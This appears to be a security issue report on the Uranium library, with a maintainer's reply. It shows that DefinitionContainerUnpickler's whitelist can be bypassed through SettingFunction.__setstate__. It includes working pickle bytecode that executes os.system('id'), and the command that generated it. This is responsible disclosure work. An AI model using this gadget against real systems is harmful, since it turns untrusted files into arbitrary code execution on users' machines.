`DefinitionContainerUnpickler` is Bypassable

[splitline]

Overview

We have a DefinitionContainerUnpickler to provide a safe way to deserialize. But the whitelist seems not really safe and basically bypassable.

How to Bypass (PoC)

It allows several classes here, it checks strictly but still have a gadgets there:

Uranium/UM/Settings/DefinitionContainerUnpickler.py

Lines 3 to 10 in 851c722

	safe_globals = {
	"UM.Settings.DefinitionContainer.DefinitionContainer",
	"collections.OrderedDict",
	"UM.Settings.SettingDefinition.SettingDefinition",
	"UM.Settings.SettingFunction.SettingFunction",
	"UM.Settings.SettingRelation.SettingRelation",
	"UM.Settings.SettingRelation.RelationType"
	}

I found a gadget in UM.Settings.SettingFunction.SettingFunction.

First thing we need to know is that pickle is not only able to call a function, but also can set attribute to any object. So we can modify the _code attribute of SettingFunction instance, then it'll get compiled and eval without checked by the ast checker (_SettingExpressionVisitor).

Uranium/UM/Settings/SettingFunction.py

Lines 155 to 157 in 851c722

	def __setstate__(self, state: Dict[str, Any]) -> None:
	self.__dict__.update(state)
	self._compiled = compile(self._code, repr(self), "eval")

Here is a pseudocode for pickle:

from UM.Settings.DefinitionContainer import DefinitionContainer
from UM.Settings.SettingFunction import SettingFunction
s = SettingFunction('42')
s._valid = True
s._code = '__import__("os").system("id")'
s(DefinitionContainer('dummy'))

I use my toy compiler to generate the pickle bytecode. Exploits should execute a Python code: __import__('os').system('id').

PoC:

import io
from UM.Settings.DefinitionContainerUnpickler import DefinitionContainerUnpickler
pickle_bytecode = b'\x80\x04\x95\xc5\x00\x00\x00\x00\x00\x00\x00(\x8c\x1fUM.Settings.DefinitionContainer\x8c\x13DefinitionContainer\x93\x94\x8c\x1bUM.Settings.SettingFunction\x8c\x0fSettingFunction\x93\x94h\x01\x8c\x011\x85R\x94h\x02\x94\x88\x94h\x03(\x8c\x06_validh\x04db\x8c\x1d__import__("os").system("id")\x94h\x03(\x8c\x05_codeh\x05dbh\x03h\x00\x8c\x05dummy\x85R\x85R1N.'
DefinitionContainerUnpickler(io.BytesIO(pickle_bytecode)).load()

Bytecode is generated by command: python pickora.py -c "from UM.Settings.DefinitionContainer import DefinitionContainer; from UM.Settings.SettingFunction import SettingFunction; s = SettingFunction('1'); s._valid = True; s._code = '__import__(\"os\").system(\"id\")'; s(DefinitionContainer('dummy'))"

The Proper Way?

Check the safe_globals more strictly (?)
Or just for this case, maybe we should also check the _code attribute by _SettingExpressionVisitor when __setstate__ .

[rburema]

Thanks for the analysis!

Or just for this case, maybe we should also check the _code attribute by _SettingExpressionVisitor when setstate .

Something like this perhaps? 96e245d